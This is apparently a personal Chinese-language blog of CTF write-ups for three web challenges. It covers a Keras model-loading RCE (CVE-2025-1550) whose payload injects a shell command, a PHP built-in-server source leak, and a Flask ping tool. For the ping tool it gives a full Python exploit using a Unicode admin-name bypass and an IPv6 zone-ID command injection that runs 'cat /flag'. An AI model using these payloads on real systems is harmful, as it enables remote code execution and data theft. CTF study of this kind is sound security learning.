D3CTF2025 - d3model

import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

这题很明显,唯一的漏洞利用点在is_valid_model()函数,搜索keras.models.load_model()漏洞,发现了最近的CVE-2025-1550,找到了攻击参考博客

然后比赛的时候没打出来。。。
赛后发现是,对python的subprocess模块了解还是不够深入(上次记录过一次,但还是忘了,emmm)

需要修改的地方为"inbound_nodes": [{"args": [["env >> index.html"]], "kwargs": {"bufsize": -1, "shell": True}}]
json文件也相对应做修改,不然的话,命令无法通过shell执行。。。

如果shell为True,那么指定的命令将通过shell执行。如果我们需要访问某些shell的特性,如管道、文件名通配符、环境变量扩展功能,这将是非常有用的。

还有就是这题貌似是不出网的,但docker文件里面告诉了我们flag环境变量中,并且只有index.html可写。。。

最简单的题没打出来……

LilacCTF2026 - keep

这题没给源码,而且我打开之后一直在转圈,没加载出来,我当时就纳闷了
关注了PHP的版本,但没往源码泄露方向想,结果现在搜php7.3.4 源码泄露都能找到漏洞利用文章原文


还能这样子判断php -s起的服务,长见识了,而且这次比赛有不少不给源码要扫目录的地方(好像之前都是给的),我这次就随便看看,就懒得扫了(),摆

N1CTF Junior 2026 - addr

from ipaddress import ip_address
from flask import Flask, request, render_template, redirect, url_for, session, flash
import subprocess
import platform

app = Flask(__name__)
app.secret_key = 'secret_key_changed_in_container'

@app.route('/')
def index():
current_user = session.get('user')
return render_template('index.html', current_user=current_user)

@app.route('/ping', methods=['POST'])
def ping():
target = request.form.get('target', '')
current_user = session.get('user')
if current_user and current_user.upper() != 'ADMIN':
return render_template(
'index.html',
ping_result="只有管理员可以使用此工具。",
current_user=current_user
)
if not current_user:
return render_template(
'index.html',
ping_result="只有管理员可以使用此工具。",
current_user=None
)

if not target:
return render_template('index.html', ping_result="请输入目标地址", current_user=current_user)
try:
target = ip_address(target).compressed
except Exception:
return render_template('index.html', ping_result="ip地址非法", current_user=current_user)

param = '-n' if platform.system().lower() == 'windows' else '-c'

try:
command = f'ping {param} 4 {target}'
result = subprocess.run(
command,
shell=True,
capture_output=True,
text=True,
timeout=10
)
output = result.stdout if result.returncode == 0 else result.stderr
if not output:
output = "Ping 失败或无法解析主机。"

except subprocess.TimeoutExpired:
output = "请求超时。"
except Exception as e:
output = f"执行错误: {str(e)}"

return render_template('index.html', ping_result=output, current_user=current_user)

@app.route('/set_user_session', methods=['POST'])
def set_user_session():
username = request.form.get('username', '').strip()

if username.lower() == 'admin':
flash("禁止操作:不允许设置 'admin' 用户名!")
return redirect(url_for('index'))

session['user'] = username
flash(f"用户名已更新为: {username}")
return redirect(url_for('index'))

@app.route('/logout')
def logout():
session.pop('user', None)
flash("已退出登录。")
return redirect(url_for('index'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

很熟悉,管理员字母的小写不能是admin,大写不能是ADMIN,直接unicode进行绕过,admın(adm\u0131n),然后就犯傻了,ip_address(target).compressed这里就限制的死死的,无从下手……

赛后看了别人的 wp 才发现,ip_address的检测对于 IPv6 地址,允许使用%符号来指定网络接口(Zone ID),%后面的部分被视为该 IP 地址的一个合法属性(scope_id)。例如:::1%eth0,所以是可以实现命令拼接执行的

import base64
import requests

cmd = "cat /flag"
b64 = base64.b64encode(cmd.encode()).decode()
payload = f'::1%;echo {b64} | base64 -d | sh'
s = requests.Session()
url = 'http://localhost:5000/set_user_session'
data = {'username': 'adm\u0131n'}
s.post(url, data=data)
res = s.post('http://localhost:5000/ping', data={'target': payload})
print(res.text)

ping原来还有这么多的玩法,长见识了(上一次也有)